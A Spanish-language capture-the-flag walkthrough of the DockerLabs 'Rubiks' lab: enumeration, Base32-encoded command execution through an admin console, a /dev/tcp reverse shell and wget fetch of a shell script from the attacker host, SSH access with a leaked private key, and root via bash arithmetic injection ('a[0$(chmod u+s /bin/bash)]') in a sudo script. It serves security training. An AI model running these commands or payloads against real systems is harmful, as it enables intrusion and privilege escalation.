DockerLabs - Rubiks
nmap
1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Rubiks]
└─$ nmap -p- -sS --min-rate 5000 -n -Pn 172.17.0.2
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1
2
3
4
5
6
7
8
9
10
11
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Rubiks]
└─$ nmap -sCV -p22,80 172.17.0.2
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 7e:3f:77:f8:5e:4e:89:42:4a:ce:14:3b:ac:59:05:74 (ECDSA)
|_ 256 b4:2a:b2:f8:4a:1b:50:09:fb:17:28:b7:29:e6:9e:6d (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://rubikcube.dl/
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
análisis
Comenzamos revisando el servidor web de la máquina, y vemos que nos redirige al subdominio rubikcube.dl:
Para que nos resuelva correctamente este dominio, lo debemos agregar en el fichero /etc/hosts de nuestra máquina:
1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Rubiks]
└─$ cat /etc/hosts | grep rubik
172.17.0.2 rubikcube.dl
Si ahora recargamos la página, veremos que nos cargan correctamente los recursos:
Mientras revisamos la página web, dejaremos corriendo gobuster en segundo plano buscando recursos disponibles en el servidor web:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Rubiks]
└─$ gobuster dir -u "http://rubikcube.dl" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .php,.html,.txt 2>/dev/null
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://rubikcube.dl
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: txt,php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/faq.php (Status: 200) [Size: 7817]
/about.php (Status: 200) [Size: 4181]
/img (Status: 301) [Size: 310] [--> http://rubikcube.dl/img/]
/administration (Status: 301) [Size: 321] [--> http://rubikcube.dl/administration/]
/index.php (Status: 200) [Size: 4327]
/server-status (Status: 403) [Size: 277]
===============================================================
Finished
===============================================================
Encontramos un panel de administrador en /administration, el cual vemos que no está protegido tras un panel de autenticación:
Vemos que en el apartado Configuraciones la mayoría de las funcionalidades no están habilitadas.
Una de las que destacan es Consola, la cual podemos intuir que nos permitiría ejecutar comandos si fuera posible acceder:
Sin embargo, vemos que no encuentra el script myconsole.php:
Ya que no podemos hacer mucho con respecto a esta funcionalidad, seguiremos investigando la máquina.
Dado que estamos tratando con dominios, trataremos de obtener un listado de subdominios del dominio rubikcube.dl empleando gobuster, donde vemos que el subdominio administration.rubikcube.dl es válido:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Rubiks]
└─$ gobuster vhost -u 'http://rubikcube.dl' -t 200 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -r --ad
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://rubikcube.dl
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
administration.rubikcube.dl Status: 200 [Size: 5460]
Para que nos lo pueda resolver correctamente, lo agregamos también al fichero /etc/hosts de nuestra máquina:
1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Rubiks]
└─$ cat /etc/hosts | grep rubik
172.17.0.2 rubikcube.dl administration.rubikcube.dl
Al acceder, vemos lo mismo que accediendo por el recurso /administration del dominio rubikcube.dl:
Si ahora volvemos a tratar de acceder a la funcionalidad Consola, vemos que ahora sí que es posible acceder:
acceso inicial (www-data)
Revisamos el código fuente de la página para ver pistas acerca de en que formato debe ir codificado el comando, pero no nos indican nada:
Vamos probando a codificar el comando en diferentes formatos (para facilitar el proceso de codificación, he usado la herramienta CyberChef.io), hasta que probamos con el formato Base32:
Vemos que cuando enviamos un comando codificado en Base32 nos devuelve el resultado de dicho comando:
En este punto ya habremos obtenido ejecución remota de comandos (RCE), y podemos obtener una consola remota en la máquina.
Lo primero será ponernos en escucha con nc, y luego ejecutar un comando que nos entablará la consola (codificado en Base32):
1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Rubiks]
└─$ echo "bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'" | base32 -w0
MJQXG2BAFVRSAJ3CMFZWQIBNNEQD4JRAF5SGK5RPORRXALZRG4ZC4MJXFYYC4MJPGQ2DINBAGA7CMMJHBI======
Sin embargo vemos que no nos devuelve la consola cuando lo ejecutamos en la web.
Probamos con diferentes comandos para entablarnos una reverse shell, pero con ninguno tenemos éxito.
Una forma alternativa de obtener acceso a la máquina es subiendo un script a la máquina, y ejecutándolo para que nos entable la conexión.
Lo que haremos en este caso será crear el script en nuestra máquina y abrir un servidor para descargar el script desde la máquina víctima:
1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Rubiks]
└─$ echo "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1" > rce.sh
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Rubiks]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
El comando para descargar el script en la máquina es el siguiente:
1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Rubiks]
└─$ echo "wget http://172.17.0.1/rce.sh -O /tmp/rce.sh" | base32 -w0
O5TWK5BANB2HI4B2F4XTCNZSFYYTOLRQFYYS64TDMUXHG2BAFVHSAL3UNVYC64TDMUXHG2AK
Tras ejecutarlo, comprobaremos que se ha subido correctamente el script:
1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Rubiks]
└─$ echo "ls -la /tmp" | base32
NRZSALLMMEQC65DNOAFA====
Para poder ejecutarlo, debemos darle permisos de ejecución antes, que lo haremos con el siguiente comando:
1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Rubiks]
└─$ echo "chmod +x /tmp/rce.sh" | base32
MNUG233EEAVXQIBPORWXAL3SMNSS443IBI======
Ahora ejecutamos el script con el siguiente comando:
1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Rubiks]
└─$ echo "bash /tmp/rce.sh" | base32
MJQXG2BAF52G24BPOJRWKLTTNAFA====
En este punto, ya habremos conseguido la reverse shell por donde nos pusimos en escucha con nc:
1
2
3
4
5
6
7
8
9
10
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Rubiks]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 41590
www-data@9317fb5cb35b:/var/www/html/administration$ whoami
whoami
www-data
www-data@9317fb5cb35b:/var/www/html/administration$ hostname -I
hostname -I
172.17.0.2
Para operar con más facilidad, procedemos a tratar la TTY:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@9317fb5cb35b:/var/www/html/administration$ script -c bash /dev/null
script -c bash /dev/null
Script started, output log file is '/dev/null'.
www-data@9317fb5cb35b:/var/www/html/administration$ ^Z
zsh: suspended nc -nlvp 4444
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Rubiks]
└─$ stty raw -echo;fg
[1] + continued nc -nlvp 4444
reset xterm
www-data@9317fb5cb35b:/var/www/html/administration$ export TERM=xterm
www-data@9317fb5cb35b:/var/www/html/administration$ export SHELL=bash
www-data@9317fb5cb35b:/var/www/html/administration$ stty rows 37 columns 210
Listaremos los usuarios del sistema que tengan asignada una consola en el fichero /etc/passwd:
1
2
3
4
www-data@9317fb5cb35b:/home$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
luisillo:x:1001:1001::/home/luisillo:/bin/sh
movimiento lateral (luisillo)
Uno de los ficheros que destacan del directorio /var/www/html/administration es .id_rsa, que al ir a revisarlo, vemos que es la clave privada para acceder por SSH:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
www-data@9317fb5cb35b:/var/www/html/administration$ ls -la
total 40
drwxr-xr-x 1 root root 4096 Aug 30 2024 .
drwxr-xr-x 1 root root 4096 Aug 30 2024 ..
-rwxr-xr-x 1 root root 3389 Aug 30 2024 .id_rsa
-rw-r--r-- 1 root root 6665 Aug 30 2024 configuration.php
drwxr-xr-x 2 root root 4096 Aug 30 2024 img
-rw-r--r-- 1 root root 5460 Aug 30 2024 index.php
-rw-r--r-- 1 root root 3509 Aug 30 2024 myconsole.php
-rw-r--r-- 1 root root 1825 Aug 30 2024 styles.css
www-data@9317fb5cb35b:/var/www/html/administration$ cat .id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
...
MixSXDn8CnuxAAAAFHR1X2VtYWlsQGV4YW1wbGUuY29tAQIDBAUG
-----END OPENSSH PRIVATE KEY-----
Revisamos a ver si pertenece a alguno de los usuarios que hemos visto en el fichero /etc/passwd, y vemos que pertenece al usuario luisillo:
1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Rubiks]
└─$ ssh -i id_rsa luisillo@172.17.0.2
$ whoami
luisillo
$ hostname -I
172.17.0.2
escalada de privilegios (root)
En los permisos SUDO del usuario luisillo vemos que puede ejecutar el binario /bin/cube como el usuario root:
1
2
3
4
5
6
luisillo@9317fb5cb35b:~$ sudo -l
Matching Defaults entries for luisillo on 9317fb5cb35b:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User luisillo may run the following commands on 9317fb5cb35b:
(ALL) NOPASSWD: /bin/cube
Comprobamos qué permisos tiene el fichero que se menciona, donde vemos que efectivamente tenemos permisos para ejecutarlo:
1
2
luisillo@9317fb5cb35b:~$ ls -la /bin/cube
-rwxr-xr-x 1 root root 722 Aug 30 2024 /bin/cube
Si lo ejecutamos, vemos que nos pide un número:
1
2
3
4
5
6
7
luisillo@9317fb5cb35b:~$ /bin/cube
Checker de Seguridad Por favor, introduzca un número para verificar:
Digite el número: 1
[!] Incorrecto
La verificación ha sido completada.
Tratamos de leer las instrucciones, y vemos no se trata de un binario, sino de un script en Bash:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
luisillo@9317fb5cb35b:~$ cat /bin/cube
#!/bin/bash
# Inicio del script de verificación de número
echo -n "Checker de Seguridad "
# Solicitar al usuario que ingrese un número
echo "Por favor, introduzca un número para verificar:"
# Leer la entrada del usuario y almacenar en una variable
read -rp "Digite el número: " num
# Función para comprobar el número ingresado
echo -e "\n"
check_number() {
local number=$1
local correct_number=***
# Verificación del número ingresado
if [[ $number -eq $correct_number ]]; then
echo -e "\n[+] Correcto"
else
echo -e "\n[!] Incorrecto"
fi
}
# Llamada a la función para verificar el número
check_number "$num"
# Mensaje de fin de script
echo -e "\n La verificación ha sido completada."
Si ahora volvemos a ejecutarlo e introducimos el código correcto, vemos que nos devuelve otro mensaje:
1
2
3
4
5
6
7
luisillo@9317fb5cb35b:~$ /bin/cube
Checker de Seguridad Por favor, introduzca un número para verificar:
Digite el número: ***
[+] Correcto
La verificación ha sido completada.
Podemos provecharnos de la comparación que se está haciendo en el script con un payload como el siguiente:
1
a[0$(whoami)]
Este payload tiene las siguientes partes:
a[...]: Declaramos un array.$(comando): Ejecución de comandos aislada.0$(): Concatenamos un carácter para que el resultado del comando se muestre por pantalla junto con el error (se podría hacer de la siguiente forma también:a[$(whoami >&2)]).
Habiendo comprendido la estructura que estamos empleando para el payload, tras ejecutarlo veremos el resultado del comando ejecutado en el error del script:
1
2
3
4
5
6
7
luisillo@9317fb5cb35b:~$ sudo /bin/cube
Checker de Seguridad Por favor, introduzca un número para verificar:
Digite el número: a[0$(whoami)]
/bin/cube: line 19: 0root: value too great for base (error token is "0root")
La verificación ha sido completada.
Hemos conseguido obtener inyección de comandos, y optaremos en esta ocasión por escalar privilegios cambiando los permisos SUID (permite ejecutar el binario como el propietario) del binario /bin/bash para poder ejecutarlo como el propietario (que es root).
Comprobamos de primeras que el binario /bin/bash no sea SUID:
1
2
luisillo@9317fb5cb35b:~$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
Procedemos a ejecutar el comando que modificará los permisos:
1
2
3
4
5
6
7
luisillo@9317fb5cb35b:~$ sudo /bin/cube
Checker de Seguridad Por favor, introduzca un número para verificar:
Digite el número: a[0$(chmod u+s /bin/bash)]
[!] Incorrecto
La verificación ha sido completada.
Si volvemos a revisar los permisos del binario /bin/bash , veremos que ahora sí es SUID:
1
2
luisillo@9317fb5cb35b:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
Ahora ya podemos invocar una consola privilegiada:
1
2
3
luisillo@9317fb5cb35b:~$ bash -p
bash-5.2# whoami
root
Y de esta manera acaba la resolución de la máquina Rubiks!












